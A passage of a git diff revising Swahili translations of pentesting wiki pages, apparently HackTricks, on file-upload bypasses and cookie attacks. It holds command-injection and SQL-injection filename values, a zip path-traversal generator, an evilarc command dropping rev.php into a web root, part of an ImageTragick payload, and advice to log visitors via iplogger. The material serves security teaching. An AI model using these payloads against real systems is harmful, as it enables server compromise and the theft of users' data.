**ile ile** yenye **jina lile lile** 2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo** 3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”. 4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows) 5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows) -6. Pakia faili katika **Windows** kwa kutumia **majina yaliyohifadhiwa** (**yaliyozuiliwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9. -- Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itakamilisha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika. +6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyozuiliwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9. +- Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na shaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika. ### Special extension tricks -Ikiwa unajaribu kupakia faili kwenye **PHP server**, [angalia mbinu ya **.htaccess** kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ -Ikiwa unajaribu kupakia faili kwenye **ASP server**, [angalia mbinu ya **.config** kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Ikiwa unajaribu kupakia faili kwenye **PHP server**, [angalia mbinu ya **.htaccess** ya kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ +Ikiwa unajaribu kupakia faili kwenye **ASP server**, [angalia mbinu ya **.config** ya kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya script...) +Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya skripti...) Mifumo ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **mfumo huu kutekelezwa**. ## **Jetty RCE** -Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell! +Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -107,7 +107,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji wa '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa. +Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi `.ini` inashughulikiwa. Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali: ```ini @@ -134,7 +134,7 @@ Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. K ## **wget File Upload/SSRF Trick** Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\ -Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**. +Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -157,7 +157,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**. +Kumbuka kwamba **chaguo lingine** ambalo unaweza kuwa unafikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**. ## Zana @@ -166,22 +166,22 @@ Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni ## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine - Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal** -- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection** +- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kuwa na uwezo wa kufikia **SQL injection** - Weka **jina la faili** kuwa `` ili kufikia XSS - Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md)) - [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg) -- **JS** faili **upakiaji** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers) -- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files) +- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers) +- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files) - Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* - [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**. +- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**. - [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo ya kawaida kufuatia maelekezo yaliyotolewa. +- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuatia maelekezo yaliyotolewa. - Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus** - Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili -Hapa kuna orodha ya mambo 10 unayoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Hapa kuna orodha ya vitu 10 bora ambavyo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -211,7 +211,7 @@ Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya seva, unaweza kufanya mam #### Symlink -Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa: +Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa. +Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji wa programu inayolengwa. Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa: ```python @@ -230,7 +230,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake. -Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu: +Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu: ```python #!/usr/bin/python import zipfile @@ -248,7 +248,7 @@ zip.close() create_zip() ``` -**Kutatiza matumizi ya usindikaji wa faili kwa ajili ya kueneza faili** +**Kutitumia usindikaji kwa ajili ya kueneza faili** Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) @@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767)) +Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -290,7 +290,7 @@ pop graphic-context Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani. -Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayowezekana, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake. +Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake. Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) @@ -298,9 +298,9 @@ Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza. -Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi. +Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi. -Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake. +Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa pande mbili wa polyglot huenda usitoshe kuhakikisha kupakia kwake. Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index a2e165d2b..ee850f505 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -8,7 +8,7 @@ Cookies zina sifa kadhaa ambazo zinadhibiti tabia yao katika kivinjari cha mtumi ### Expires and Max-Age -Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.** +Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.** ### Domain @@ -16,13 +16,13 @@ Wenyeji wa kupokea cookie wanaelezwa na sifa ya `Domain`. Kwa kawaida, hii imewe ### Path -Njia maalum ya URL ambayo lazima iwepo katika URL iliyotolewa ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia. +Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia. ### Ordering Rules Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea: -- Cookie inayolingana na njia ndefu zaidi katika URL iliyotolewa. +- Cookie inayolingana na njia ndefu zaidi katika URL iliyohitajika. - Cookie iliyowekwa hivi karibuni ikiwa njia hizo ni sawa. ### SameSite @@ -32,7 +32,7 @@ Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea: - **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za upande wa tatu. - **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la upande wa tatu. -Kumbuka, wakati wa kusanidi cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti. +Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti. | **Request Type** | **Example Code** | **Cookies Sent When** | | ---------------- | ---------------------------------- | --------------------- | @@ -44,7 +44,7 @@ Kumbuka, wakati wa kusanidi cookies, kuelewa sifa hizi kunaweza kusaidia kuhakik | AJAX | $.get("...") | NotSet\*, None | | Image | \ | NetSet\*, None | -Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ +Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kidogo kubadilishwa.\ Cookie yenye sifa ya _**SameSite**_ itapunguza **shambulio la CSRF** ambapo kikao kilichoingia kinahitajika. **\*Kumbuka kwamba kuanzia Chrome80 (feb/2019) tabia ya kawaida ya cookie bila sifa ya cookie samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ @@ -58,10 +58,10 @@ Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `documen #### **Bypasses** -- Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)). +- Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). - Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) litareflect cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**. - Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2. -- Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari. +- Njia nyingine ni matumizi ya udhaifu wa zero/day wa vivinjari. - Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow: {{#ref}} @@ -82,7 +82,7 @@ Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa: - Lazima ziwe na bendera ya `secure`. - Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS. -- Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains. +- Zinakatazwa kutaja domain, kuzuia usafirishaji wao kwa subdomains. - Njia ya cookies hizi lazima iwekwe kwa `/`. Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia awali ya `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa. @@ -93,7 +93,7 @@ Hivyo, moja ya ulinzi wa cookies zilizo na awali `__Host-` ni kuzuia ziweze kufu
-Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za chini** , kuruhusu kufuta cookies za `__HOST-`: +Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za underscore**, kuruhusu kufuta `__HOST-` cookies:
@@ -103,7 +103,7 @@ Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani ### Decoding and Manipulating Cookies -Data nyeti iliyowekwa katika cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie. +Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie. ### Session Hijacking @@ -111,7 +111,7 @@ Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhi ### Session Fixation -Katika hali hii, mshambuliaji anamdanganya muathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya muathirika. Mbinu hii inategemea muathirika kuingia na cookie iliyotolewa na mshambuliaji. +Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, akiwa na cookie ya awali, anaweza kujifanya mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji. Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma: @@ -121,7 +121,7 @@ cookie-tossing.md ### Session Donation -Hapa, mshambuliaji anamshawishi muathirika kutumia cookie ya kikao ya mshambuliaji. Muathirika, akiamini kwamba ameingia kwenye akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji. +Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiunga na akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji. Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma: @@ -133,7 +133,7 @@ cookie-tossing.md Bonyeza kwenye kiungo kilichopita ili kufikia ukurasa unaoelezea udhaifu unaowezekana katika JWT. -JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye udukuzi wa JWT. +JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye kuhamasisha JWT. ### Cross-Site Request Forgery (CSRF) @@ -141,7 +141,7 @@ Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakikana ### Empty Cookies -(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuundwa kwa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo: +(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -157,17 +157,17 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value ``` Hii inasababisha kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyo na jina `a` na thamani `b`. -#### Chrome Bug: Tatizo la Kiwango cha Unicode Surrogate +#### Chrome Bug: Tatizo la Unicode Surrogate Codepoint -Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye: +Katika Chrome, ikiwa codepoint ya Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye: ```js document.cookie = "\ud800=meep" ``` Hii inasababisha `document.cookie` kutoa string tupu, ikionyesha uharibifu wa 